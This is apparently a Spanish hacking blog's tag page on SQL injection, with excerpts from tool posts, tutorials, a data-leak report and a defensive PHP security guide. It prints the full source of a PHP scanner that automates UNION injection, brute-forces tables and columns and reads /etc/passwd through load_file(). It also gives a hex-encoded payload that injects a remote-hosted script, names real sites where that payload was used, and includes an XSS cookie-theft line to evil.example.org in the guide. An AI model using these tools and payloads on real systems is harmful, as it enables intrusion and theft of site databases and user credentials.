Mostrando entradas con la etiqueta SQLi. Mostrar todas las entradas
Mostrando entradas con la etiqueta SQLi. Mostrar todas las entradas

21 jul. 2014

Inyección SQL en los foros vBulletin 5.0.4, 5.0.5, 5.1.0, 5.1.1 y 5.1.2 (Exploit + Video)


Hace unos días se supo de una Inyección SQL en el gestor de foros vBulletin, pero como siempre primero me gusta verificar y recién hoy se ha publicado en PacketStorm una versión pública ya que en 1337day Inj3ct0r ya se encontraba pero para acceder a él hay que pagar...

vBulletin es un software desarrollado por vBulletin Solutions, para la creación y mantenimiento de foros en Internet. Está basado en PHP y MySQL y según la propia compañía más de 100.000 sitios funcionan bajo este sistema.

12 jul. 2013

Recopilación de PDFs sobre Seguridad Informática, Hacking y PenTest

Haciendo una limpieza y orden en mi computador me encontré con muchos textos, manuales, tutoriales en PDF sobre Hacking, Exploits, PenTest, GNU/Linux, Metasploit, SQLi, etc... Los ordené por categorías según consideré mejor y los deje todos en un sólo archivo .zip.

El archivo es bastante pesado (619.0 MB) y contiene muchos PDFs, esto me llevó a considerar descargar uno por uno cada archivo por separado según sus gustos y necesidades, por lo que he terminado por crear la Biblioteca Blackploit, que no es más que un repositorio donde voy a ir colgando todos los archivos PDFs que sean de interés.

25 mar. 2013

SQLi utilizando método POST con SQLMap


En esta entrada breve y simple, se detallaran los pasos que realizaremos cuando necesitemos explotar una vulnerabilidad de Sql Injection, que mayormente se encuentran en algunos servidores basados en SQL Server y Oracle. Estas vulnerabilidades son típicas en los LOGIN'S Administrativos, ya que como debemos de saber,  que cuando ingresamos el usuario y password estos datos se envían a través del método POST, por lo tanto puede existir la posibilidad de que al ingresar datos falsos o algunos bypasses, esta nos pueda mostrar algún error que nos permita identificar la vulnerabilidad, por tanto se puede explotar automatizadamente utilizando SQLMAP ejecutando comandos para enviar la petición en POST y no en GET como se "acostumbra".

Si no me explique bien, pues al buen entendedor pocas palabras!!! entonces sin mas rodeos, vamos a la acción!

10 ene. 2013

Conseguir Shell por SQLi con SQLMap



Hace algunos días auditando un Servidor Web (universidad) basada en Apache 1.3.26, PHP 4.2.1 a un cliente, me tope con la típica vulnerabilidad de Inyección de Código Sql, la cual permite fácilmente obtener toda la base de datos del servidor, entonces de inmediato empece a inyectar manualmente pero para mi suerte!!! ninguna de las inyecciones y bypasses dio resultado, entonces me pregunte ¿Por que? si es una vulnerabilidad peligrosa y fácilmente explotable, pero luego analizando nuevamente di con el resultado que era un simple FP (falso positivo).

Después de terminar el nuevo análisis  encontré otra vulnerabilidad de Inyección de Código Sql, mostrándome el famoso error:

20 oct. 2012

Todos los dominios peruanos (.pe & .com.pe) fueron hackeados (207116 Dominios expuestos en total)


Este es un incidente muy grave dentro de la seguridad informática de un país, ya que dentro de las credenciales del panel de acceso al dominio se encuentran como es lógico usuarios y cuentas de los dominios de todos los bancos del Perú y empresas de seguridad informática, universidades, colegios, instituciones del Gobierno, sistema de seguridad nacional, etc...

Esta mañana el único proveedor de dominios .com.pe & pe fueron hackeados por el grupo asociado con Anonymus Lulzsecperu,el cual publicó en su fanpage el archivo sql de todos los usuarios, emails, contraseñas, números de contacto, fax, dirección... de todos los dominios registrados en NIC.PE o punto.pe, 207116 Dominios expuestos en total.

17 oct. 2012

SQL Injection desde BurpSuite con SQLmap Burp Plugin





INTRODUCCIÓN:

Burp Suite es una herramienta que nos permite realizar pruebas de seguridad en las aplicaciones web. Sus diversas herramientas funcionan perfectamente la cual apoya mucho en el proceso de prueba de penetración  a partir de la cartografía y el análisis inicial de la superficie de ataque de una aplicación, hasta la búsqueda y explotación de las vulnerabilidades.

Muchas veces cuando se realiza auditoria a un sitio web, siempre es recomendable colocar un proxy intermedio para saber y tener el control total de las peticiones enviadas y recibidas, para ello se debe utilizar Burp Suite.

También es de conocimiento que en estas auditorias, la vulnerabilidad mas conocida que se puede presentar es la SQL Injection.

Para tal caso, en esta entrada presentare un Plugin totalmente gratuito desarrollado por ggdaniel que nos servirá para usar el SQLmap desde el Burp Suite de una forma fácil y eficaz.


25 jul. 2012

Guía para SQLi (MySQL, MSSQL & ORACLE)

Les dejo una guía muy completa para inyecciones SQL que cubre MySQL, MSSQL y ORACLE, desde la detección de inyecciones SQL hasta explotación avanzada evadiendo WAF/IDS.

El autor Roberto Salgado (@LightOS) agrega nuevos ataques y métodos de evasión diariamente.

Es una guía muy extensa, clara y está organizada muy ordenadamente por temas:

30 ene. 2012

[Cheat Sheet] SQL Injection

Les dejo un Cheat Sheet de SQLi bastante bueno que me han enviado. Espero les agrade:

Clic para agrandar

15 dic. 2011

[The Mole] Herramienta de Inyección SQL/SQLi Automatizada

Como regalo de navidad les traigo una de tantas herramientas para SQLi que existen, pero está me ha gustado bastante primero por que es de muy fácil uso y también por los métodos de petición que tiene.

The Mole es una herramienta de inyección SQL automatizada que mediante una URL vulnerable con su(s) respectivo(s) string(s) detectada y testeada en busca de vulnerabilidad SQLi, ya sea por método UNION o por consulta Booleana.

Características:
  • Soporta inyecciones a MySQL, SQL Server, PostgreSQL & Oracle.
  • Soporta linea de comandos. Diferente comando producen diferentes respuestas.
  • Auto-completación de los comandos, argumentos de comandos y los nombres de base de datos, tabla y las columnas.
  • Soporte pata filtros de consulta, para bypass IPS/IDS.
  • Explota inyecciones SQL a través de métodos GET y POST.
  • Desarrollada en python3.

5 ago. 2011

Algoritmos de Encriptación de las Password de los CMS

Este breve post lo dedico a los Algoritmos de Encriptación de las Password de los CMS (Content Management System "Sistema de gestión de contenidos") que son las clásicas interfaces que controlan una o varias bases de datos donde se aloja el contenido del sitio web, como por ejemplo Joomla, phpBB, SFM, etc... "¿ De que me sirve esto ?" preguntaran, pues bueno, frente a una incursión SQLi en un 90% de los casos las passwords estarán encriptadas, y muchas en formatos que distan mucho de los clásicos y simples MD5, y si los hashs no son MD5 o SHA1 costará encontrar una web que nos desencripte las contraseñas, para ello tendríamos que usar algún software que desencripte por fuerza bruta o diccionario y obviamente tendremos que saber en que está encriptado. Para descifrar los hashs a mi me gusta bastante el hashcat que soporta la mayoría de los algoritmos. 

Así que les dejo una lista con los CMS y el algoritmo de encriptación:

27 jul. 2011

SQL injection en las cámaras de tráfico!

No sé si sea verdad, pero de todas formas es muy chistoso, ya me imagino cuantas veces habría que pasar con el auto para sacar las tablas, columnas y datos... Y esperemos que nadie se de cuenta tampoco...

17 dic. 2010

[GIE 4.8] General Injection Explorer 4.8

Después de unas 2 semanas de ausencia, me encuentro con que han publicado la versión 4.8 de la magnífica herramienta GIE que ya documenté de la versión 4.7 (Por favor hacer click aquí si no saben como funciona la herramienta) que está off hace ya un tiempo. Ahora PonyMagic realizó una nueva versión mejor y  con más características:

16 nov. 2010

[SqlInjector v1.0.2] Herramienta para Blind SQL injection

SqlInjector es una aplicación para realizar Blind SQL injection. Actualmente es compatible con MS SQL Server. Utiliza inferencia basadas en el tiempo para determinar las condiciones verdaderas o falsas para extraer los datos. La característica clave es que utiliza un mecanismo de búsqueda binaria para reducir la búsqueda de espacio de direcciones, esto significa que puede obtener cada valor de carácter dentro de 7 a 8 solicitudes.

26 abr. 2010

Seguridad en PHP

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.

Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.

Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:
  • Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como " ' " o " = " . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
  • Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)


Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
  • Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
  • Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
  • Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:
<script>document.location = 
'http://evil.example.org/steal_cookies.php?cookies=' + 
document.cookie</script>
Se recomienda:
  • Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
  • Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
  • Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
  • Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.

CSRF (Cross Site Request Forgery)

Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:
GET  /buy.php?symbol=SCOX&amp;quantity=1000 HTTP/1.1
Host:  stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml,  image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
Se recomienda:
  • Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.
  • Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
  • Generar un token único para cada petición y verificarlo posteriormente.
Directory Transversal

Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.

Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php

Se recomienda:
  • Tener un array de páginas válidas.
  • Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion)


Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:
  • No confiar en los datos que no provengan de nuestro sistema.
  • Se deben validar los datos que introduce el usuario.

Seguridad en sesiones


Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:
  • Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.
  • Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.
Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.

[+] PHP Security Consortium
[+] PHP Freaks
[+] PHP Security & SQL Security. Acunetix


Fuente: http://www.securitybydefault.com/

22 abr. 2010

TOP 10 Fallos de Seguridad en Aplicaciones Web

El proyecto OWASP (Open Web Application Security Project) ha publicado la actualización al año 2010 de su famoso TOP 10 con los mayores riesgos asociados a las aplicaciones web.
4Oc8p TOP 10 Fallos 
de Seguridad en Aplicaciones Web
En esta nueva edición del TOP 10 se nota como intencionalmente han querido eliminar de la listas algunas vulnerabilidades específicas, para enfocarse más en los riesgos de seguridad que representan estas vulnerabilidades. Este nuevo enfoque sobre riesgos de seguridad en las aplicaciones web tienen por objeto impulsar a las organizaciones, a madurar más la comprensión y gestión de aplicaciones de seguridad a través de su organización.

La OWASP indica que el Top 10 para el 2010 es:

  1. Inyección
  2. Cross-Site Scripting (XSS)
  3. Interrupción de la autenticación y administración de sesiones
  4. Referencias de Objetos Directos Inseguros
  5. Falsificación de Solicitud Cross-Site (CSRF)
  6. La configuración errónea de Seguridad
  7. Cifrado de Almacenamiento Inseguro
  8. Falla al restringir el acceso URL
  9. Insuficiente protección de la capa de transporte
  10. Redirecciones sin validar y hacia adelante.
Más Información:
Anuncio en la Página Oficial de OWASP

Fuente: http://www.dragonjar.org/

11 abr. 2010

Sql InyeXion Scanner F-Security Team

Scanner de SQL Injection:

Se demora dependiendo de la velocidad de la web scaneada y las opciones elegidas, pero en cualquier caso es entre 10 a 60 segundos.





 Código Fuente:
<?php
@set_time_limit(0);
/*
F-Security - Sql InyeXion Scanner v1
Desarrollado por Knet
Adminitradores - www.remoteexecution.org
Contacto:
Keynet.security@Gmail.com [ Mail ]
Keynet.security@Hotmail.com [ Msn ]
*/
$web=$_POST['web'];
$end=$_POST['end'];
$scann=$_POST['scann'];
$union=$_POST['union'];
$max=$_POST['max'];
$from_format=$_POST['from'];
$MySqluser=$_POST['MySqluser'];
$InforMationSchema=$_POST['InforMationSchema'];
$TblBrt=$_POST['TblBrt'];
$TblFormat=$_POST['TblFormat'];
$ColBrt=$_POST['ColBrt'];
$ColFormat=$_POST['ColFormat'];
$LdFl=$_POST['LdFl'];
$string='err0r';
$union_array=array(
'-1+UNION+SELECT+',
'-1\'+UNION+SELECT+',
'-1+UNION+ALL+SELECT+',
'-1\'+UNION+ALL+SELECT+',
'-1/**/UNION/**/SELECT/**/',
'-1\'/**/UNION/**/SELECT/**/',
'-1/**/UNION/**/ALL/**/SELECT/**/',
'-1\'/**/UNION/**/ALL/**/SELECT/**/',
'1+UNION+SELECT+',
'1\'+UNION+SELECT+',
'1+UNION+ALL+SELECT+',
'1\'+UNION+ALL+SELECT+',
'1/**/UNION/**/SELECT/**/',
'1\'/**/UNION/**/SELECT/**/',
'1/**/UNION/**/ALL/**/SELECT/**/',
'1\'/**/UNION/**/ALL/**/SELECT/**/'
);
$count_union_array=count($union_array) + 1;
$from_array=array(
'+from+',
'/**/from/**/',
'+FROM+',
'/**/FROM/**/',
'%20from%20',
'%20FROM%20'
);
$count_from_array=count($from_array) + 1;
$from=$from_array[$from_format];
$iny_1=$union_array[$union];
$iny_2='0x'.bin2hex($string);
$iny_3='0x'.bin2hex($string);
if($max<3 || $max=="" || !is_numeric($max))
{
$max=3;
}
?>
<form action="" method="POST">
<table>
<tr>
<td><h1>Sql InyeXion Scanner F-Security Team</h1></td>
</tr>
<tr>
<td>Web:
<input id="boton" type="text" name="web" value="
<?php if($web!=""){echo htmlentities($web);}else{echo 'http://www.site.com/news.php?id=';} ?>
" size="60">
</td>
<td>Union*:
<SELECT name="union" size="1" id="boton">
<?php
for($union_for=0;$union_for<=$count_union_array;$union_for++)
{
if($union_array[$union_for]!="")
{
echo '<OPTION VALUE="'.$union_for.'">'.$union_array[$union_for].'</OPTION>'."\n";
}
}
?>
</SELECT>
<td>Max columns:
<SELECT name="max" size="1" id="boton">
<?php
for($max_a=1;$max_a<=255;$max_a++)
{
echo '<OPTION VALUE="'.$max_a.'">'.$max_a.'</OPTION>'."\n";
}
?>
</SELECT>
</td>
<td>eND:
<input id="boton" type="text" name="end" value="
<?php if($end!=""){echo htmlentities($end);}else{echo '--';} ?>" size="10">
</td>
</tr>
</table>
<table>
<tr>
<td>From* Format:
<td>
<SELECT name="from" size="1" id="boton">
<?php
for($from_for=0;$from_for<=$count_from_array;$from_for++)
{
if($from_array[$from_for]!="")
{
echo '<OPTION VALUE="'.$from_for.'">'.$from_array[$from_for].'</OPTION>'."\n";
}
}
?>
</SELECT>
</td>
</tr>
</table>
<table>
<tr>
<td>Test mysql.user:</td>
<td>Yes</td>
<td><input type="radio" name="MySqluser" value="S" checked></td>
<td>No</td>
<td><input type="radio" name="MySqluser" value="N"></td>
</tr>
<tr>
<td>Test information_schema:</td>
<td>Yes</td>
<td><input name="InforMationSchema" type="radio" value="S" checked="checked"></td>
<td>No</td>
<td><input type="radio" name="InforMationSchema" value="N"></td>
</tr>
<tr>
<td>Tables BruteForce:</td>
<td>Yes</td>
<td><input name="TblBrt" type="radio" value="S" checked="checked"></td>
<td>No</td>
<td><input type="radio" name="TblBrt" value="N"></td>
<td>|</td>
<td>tablename</td>
<td><input type="radio" name="TblFormat" value="1" checked></td>
<td>|</td>
<td>TableName</td>
<td><input type="radio" name="TblFormat" value="2"></td>
<td>|</td>
<td>TABLENAME</td>
<td><input type="radio" name="TblFormat" value="3"></td>
</tr>
<tr>
<td>Columns BruteForce:</td>
<td>Yes</td>
<td><input name="ColBrt" type="radio" value="S" checked="checked"></td>
<td>No</td>
<td><input type="radio" name="ColBrt" value="N"></td>
<td>|</td>
<td>columname</td>
<td><input type="radio" name="ColFormat" value="1" checked></td>
<td>|</td>
<td>ColumName</td>
<td><input type="radio" name="ColFormat" value="2"></td>
<td>|</td>
<td>COLUMNAME</td>
<td><input type="radio" name="ColFormat" value="3"></td>
</tr>
<tr>
<td>Test load_file():</td>
<td>Yes</td>
<td><input type="radio" name="LdFl" value="S" checked></td>
<td>No</td>
<td><input type="radio" name="LdFl" value="N"></td>
</tr>
<tr>
<td><input id="boton" type="submit" name="scann" value="Scann"></td>
</tr>
</table>
<table>
<tr>
<td>
<?php
if(isset($scann) && $web!="")
{
for($a_for=1;$a_for<=$max;$a_for++)
{
$iny_2=$iny_2.'2d'.bin2hex($a_for);
$iny=$web.$iny_1.$iny_2;
$webmas = $iny;
$contenido = @file_get_contents($webmas.$end);
$alert = strpos($contenido,$string);
if(!$alert)
{
$iny_2=$iny_2.','.$iny_3;
$iny_vuln .= $a_for.',';
}
else
{
$f_num=$a_for;
$web_final=$web.$iny_1.$iny_vuln.$f_num;
//echo $webmas;
echo '[+] Bug Found in: '.$a_for."<br>".'<a href="'.htmlentities($web_final.$end).
'" TARGET=BLANK>'.htmlentities($web_final.$end).'</a>'."<br>";
echo 'vuln in num/s: |';
/*********************************SALVANDO********* ******************************/
$_SESSION['all_saveds'] .= '[+] Bug Found in: '.$a_for.
"<br>".'<a href="'.htmlentities($web_final.$end).
'" TARGET=BLANK>'.htmlentities($web_final.$end).'</a>'."<br>".'vuln in num/s: |';
/*********************************SALVANDO********* ******************************/
$vulns=array();
for($search_for=1;$search_for<=$a_for;$search_for++)
{
if(strpos($contenido,$string.'-'.$search_for))
{
echo $search_for.'|';
/*********************************SALVANDO********* *************
*****************/
$_SESSION['all_saveds'] .= $search_for.'|';
/*********************************SALVANDO********* *************
*****************/
array_push($vulns,$search_for);
}
}
/*********************************SALVANDO********* ******************************/
$_SESSION['all_saveds'] .= "<br>".'---------------------------------------------'.
'------------------------------------------------'."<br>";
/*********************************SALVANDO********* ******************************/
echo "<br>".'---------------------------------------------'.
'------------------------------------------------'."<br>";
$a_for=$max;
define('vuln','yes');
}
if(!$alert && $a_for==$max)
{
echo 'no vuln in 1->'.$max."\n";
}
$contenido='';
}
}
/* FINAL SIMPLE SCANN */
if(vuln=="yes" && isset($MySqluser) && $MySqluser=="S")
{
$from_mysql_user=$from.'mysql.user';
$contenido = @file_get_contents($webmas.$from_mysql_user.$end);
$alert_mysql_user = strpos($contenido,$string);
if($alert_mysql_user)
{
echo '[+] MySQL Database Found:'.'<br>';
echo '<a href="'.htmlentities($web_final.$from_mysql_user.$end).'" TARGET=BLANK>'.
htmlentities($web_final.$from_mysql_user.$end).'</a>'."<br>";
echo '[+] Columns default in mysql.user: Host,User,Password'.'<br>';
}
else
{
echo '[+] MySQL Database not Found:'.'<br>';
}
echo '-------------------------------'."<br>";
}
/* FINAL Mysql.user TEST */
if(vuln=="yes" && isset($InforMationSchema) && $InforMationSchema=="S")
{
$from_information_schema=$from.'information_schema .tables';
$contenido = @file_get_contents($webmas.$from_information_schema.$end);
$alert_information_schema = strpos($contenido,$string);
if($alert_information_schema)
{
echo '[+] Information_Schema Database Found:'.'<br>';
echo '<a href="'.htmlentities($web_final.$from_information_schema.$end).'" TARGET=BLANK>'.
htmlentities($web_final.$from_information_schema.$end).'</a>'."<br>";
echo '[+] Columns default in information_schema.tables: TABLE_SCHEMA,TABLE_NAME'.'<br>';
echo '---------------'."<br>";
echo '[+] Columns default in information_schema.columns:
TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME'.'<br>';
}
else
{
echo '[+] Information_Schema Database not Found:'.'<br>';
}
echo '-------------------------------'."<br>";
}
/* FINAL information_schema database */
if(vuln=="yes" && isset($TblBrt) && $TblBrt=="S" && isset($TblFormat))
{
switch($TblFormat)
{
case 1:
$file_txt_tables='1.txt';
break;
case 2:
$file_txt_tables='2.txt';
break;
case 3:
$file_txt_tables='3.txt';
break;
default:
$file_txt_tables='1.txt';
}
$file_tables=@file($file_txt_tables);
$count_tables=count($file_tables);
for($t_for=0;$t_for<=$count_tables;$t_for++)
{
$file_tables[$t_for]=trim($file_tables[$t_for]);
if($file_tables[$t_for] != "")
{
$from_table=$from.$file_tables[$t_for];
$contenido = @file_get_contents($webmas.$from_table.$end);
$alert_table = strpos($contenido,$string);
if($alert_table)
{
echo '[+] Table Found: '.$file_tables[$t_for]."<br>";
echo '<a href="'.htmlentities($web_final.$from_table.$end).'" TARGET=BLANK>'.
htmlentities($web_final.$from_table.$end).'</a>'."<br>";
/*
echo 'webmas:'.$webmas.'<br>';
echo 'webfinal:'.$web_final.'<br>';
echo 'web:'.$web.'<br>';
*/
if(isset($ColBrt) && $ColBrt=="S" && isset($ColFormat))
{
/************************************************** **************
*******/
switch($ColFormat)
{
case 1:
$file_txt_columns='1.txt';
break;
case 2:
$file_txt_columns='2.txt';
break;
case 3:
$file_txt_columns='3.txt';
break;
default:
$file_txt_columns='1.txt';
}
$file_columns=@file($file_txt_columns);
$count_columns=count($file_columns);
$count_vulns=count($vulns);
$count_vulns = $count_vulns + 1;
for($c_for=0;$c_for<=$count_columns;$c_for++)
{
$file_columns[$c_for]=trim($file_columns[$c_for]);
if($file_columns[$c_for] != "")
{
for($cols_for=1;$cols_for<=$f_num;$cols_for++)
{
if(in_array($cols_for,$vulns))
{
if($cols_for != $f_num)
{
$cols_brt_string .= 'concat(0x'.bin2hex($string).
','.
$file_columns[$c_for].'),';
}
else
{
$cols_brt_string .= 'concat(0x'.bin2hex($string).
','.
$file_columns[$c_for].')';
}
}
else
{
if($cols_for != $f_num)
{
$cols_brt_string .= $cols_for.',';
}
else
{
$cols_brt_string .= $cols_for;
}
}
}
$col_contenido=@file_get_contents($web.
$iny_1.$cols_brt_string.$from_table.$end);
$alert_col = strpos($col_contenido,$string);
if($alert_col)
{
if($cols_vulns=="")
{
$cols_vulns =
$file_columns[$c_for];
}
else
{
$cols_vulns .= ','.
$file_columns[$c_for];
}
/*
$cols_brt_string=str_replace('concat(0x'.bin2hex($ string).',','',
$cols_brt_string);
$cols_brt_string=str_replace(')','',
$cols_brt_string);
echo '[+] Column Found in '.
$file_tables[$t_for].
': '.$file_columns[$c_for].'<br>';
echo '<a href="'.
htmlentities($web.
$iny_1.$cols_brt_string.$from_table.$end).'" TARGET=BLANK>'.
htmlentities($web.
$iny_1.$cols_brt_string.$from_table.$end).'</a>'."<br>";
*/
}
$cols_brt_string='';
}/**/
}
if($cols_vulns!="")
{
echo '[+] Column/s Found in '.$file_tables[$t_for].' : '.
$cols_vulns.'<br>';
$cols_vulns='';
}
/************************************************** **************
*******/
}
echo '-------------------------------'."<br>";
}
}
}
}
/* FINAL TABLE AND COLUMNS BRUTEFORCE */
if(vuln=="yes" && isset($LdFl) && $LdFl=="S")
{
$string_alert_loadfile = 'root:x:';
for($load_file_for=1;$load_file_for<=$f_num;$load_file_for++)
{
if(in_array($load_file_for,$vulns) && load_file!="yes")
{
if($load_file_for != $f_num)
{
$load_file_string .= 'load_file(0x'.bin2hex('/etc/passwd').')'.',';
}
else
{
$load_file_string .= 'load_file('.$load_file_for.')';
}
define('load_file','yes');
}
else
{
if($load_file_for != $f_num)
{
$load_file_string .= $load_file_for.',';
}
else
{
$load_file_string .= $load_file_for;
}
}
}
$web_load=$web.$iny_1.$load_file_string.$end;
$contenido_load = @file_get_contents($web_load);
$alert_load_file = strpos($contenido_load,$string_alert_loadfile);
echo '[+] load_file(): ';
if($alert_load_file)
{
echo 'ENABLED'.'<br>';
echo '<a href="'.htmlentities($web_load).'" TARGET=BLANK>'.
htmlentities($web_load).'</a>'."<br>";
}
else
{
echo 'DISABLED'.'<br>';
}
echo '-------------------------------'."<br>";
}
/* FINAL LOAD_FILE() TEST */
?>

Web: http://www.tv-canal56.com/css/tools/SQLi/
Mirror 1: http://www.ceh.asia/tools/Hack-Shop/Sql-InyeXion-Scanner/
Mirror 2: http://nosomosidiotas.site40.net/

8 abr. 2010

[General Injection Explorer 4.7] Herramienta para SQL Injection

Bueno... navegando por ahí me encuentro con una de las mejores herramientas de SQL Injection que me ha tocado probar...

Es sin duda una execelente herramienta que vale la pena tener siempre en cuenta, ya que su uso es extremadamente sencillo y no se requiere de ningún tipo de instalación.

Lo único que necesitas es una web vulnerable a SQLi con el formato:
http://www.webvulnerable.com/new.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12--

[+] vuln in num/s: |2|3|

Entonces el código GIE 4.7 (General Injection Explorer 4.7) se pone en algún número visible:
http://www.webvulnerable.com/new.php?id=-1+union+select+0,1,(GIE),3,4,5,6,7,8,9,10,11,12--

Código GIE 4.7:
(0x3c736372697074207372633d22687474703a2f2f73696e64656c656e2e636c2f61646d696e2f75706c6f6164732f696d616765732f4769452e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)

Entonces la URL final quedaría así:
http://www.webvulnerable.com/new.php?id=-1+union+select+0,1,(0x3c736372697074207372633d22687474703a2f2f73696e64656c656e2e636c2f61646d696e2f75706c6f6164732f696d616765732f4769452e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e),3,4,5,6,7,8,9,10,11,12--

Ahora pruebenlo ustedes y disfrútenlo...

[*] Screens:

explorador de bases de datos.

lector de archivos, con Bruteforce.

 
consola de peticiones, en la imagen un ejemplo 
de una query que busca mails en la base de datos.


 
variables del servidor

 
Historial de Inyecciones, para el que quiera 
saber un poco mas sobre el funcionamiento de la GIE


[*] Ejemplos:

SQLi GIE [adegasgalegas.es]
SQLi GIE [rubias19.com]
SQLi GIE [comic-ar.com]

Codigo de fuente de GIE 4.7

Fuente: http://ponymagic.diosdelared.com/

[+] Salu2
[+] ZioneR